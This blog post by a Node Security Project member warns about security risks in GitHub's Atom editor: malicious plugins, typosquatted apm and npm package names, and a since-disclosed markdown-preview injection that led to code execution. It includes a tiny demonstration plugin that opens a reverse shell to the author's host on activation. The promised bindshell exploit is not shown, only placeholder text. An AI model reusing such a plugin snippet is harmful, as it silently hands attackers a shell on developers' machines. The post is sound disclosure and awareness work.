of atom.io and security

Like many of you, I recently received an invite to atom.io, GitHub’s new text editor.

Atom embraces everything that I love about node.js: easy creation, hackability, distribution, and installation of small modules.

It also brings with it some of the same types of security concerns.

Shortly after downloading and playing with the app I posted this in andbang (our team collaboration tool):

“my first atom.io plugin, am I doing it right?”

var shells = require('node-shells');
module.exports.activate = function () {
    shells.reverseShell('canary.local', '1234');

Shortly after, my coworker Stephanie said to me: “You just can’t help but hack all the things, can you?”

No. No, I can’t.

That’s a simple plugin that when you install it it makes a connection back to my computer.
Now, no sane developer would install that knowing what it does, but be honest: an attacker is not going to be that obvious and no matter how big our egos are, we all know we make stupid mistakes.

Every strength comes with a weakness

Atom is designed for hackabililty, to run plugins and code written by you and the greater development community.

My concerns are the unintended side effects of having plain text and code executing in an environment that’s a central tool for our day-to-day workflow.

Securing common developer endpoints is hard enough on its own.

Now we have to verify the security of each module installed in our developers’ text editor for seemingly benign things like syntax highlighting, coding efficiency or collaboration, or any number of awesome inventions the dev community dreams up.

apm brings with it security concerns from npm

I did some research a while back on npm typos: packages a developer attempted to install, but couldn’t because they got the name wrong.

Turns out we are measurably bad at punctuation when remembering package / module names.

The modules most commonly typed wrong were the ones with punctuation in them: “socketio” vs. “socket.io”, “coffeescript” vs. “coffee-script”, and so on.

This is going to happen with apm.

Malicious plugins will be created, they’ll squat on commonly typo’d names, and it will be a problem.
It will be a pain in the ass to police as well. The same problem exists within npm, where we rely on the community to police it at the moment.

It took the community a week to ask me to take down my fake “coffeescript” module that was blank. Had it replicated the functionality of a working module, I imagine it would still be up there today.

This isn’t your grandmothers DOM.

The next issue I see is that getting content injection within the atom.io editor means code execution with all the awesome power of node.js.

According to their security page, node-webkit has 2 frame types: Node frames and normal frames. It’s the Node frame that gives us the extended power of node.

I was able to exploit this just hours after the release using the built-in markdown preview plugin (the one that’s mentioned in the welcome text).

A month ago I published an advisory for marked, a popular module for parsing markdown.

Turns out the markdown-preview plugin was using the rooster module that included a vulnerable version of marked.

Small modules are nice, but everyone in the chain has to do their part to make sure things are secure and up to date.

I disclosed this vulnerability to GitHub and, as of atom 0.62.0, the included markdown-preview plugin appears to be fixed.

Here was the exploit for a quick bindshell:

    this is a test

I want to make it very clear that I love the editor and am in no way casting it aside just because of a few security concerns. (I don’t tend to think of security as something that should hold back developers from building amazing and useful things, but rather, an essential component of that creativity.)

However, it does make me pause and think about the mounting concerns with securing developer endpoints that I’m not sure the answers are keeping up with.

This is what the Node Security Project is about

atom.io reinvigorates our team’s belief in why we started the Node Security Project.

Our only chance to rise above the bad guys is to approach leveling up the security of the entire community in a highly distributed way. It’s the only way we’ll be able to handle security in this new era of massive modularity and code reuse.

We have some big plans for Node Security Project for 2014 and we’d love to have your help as we begin to roll those out in the coming months.

Give us a follow on twitter for project updates. @nodesecurity

You might also enjoy reading: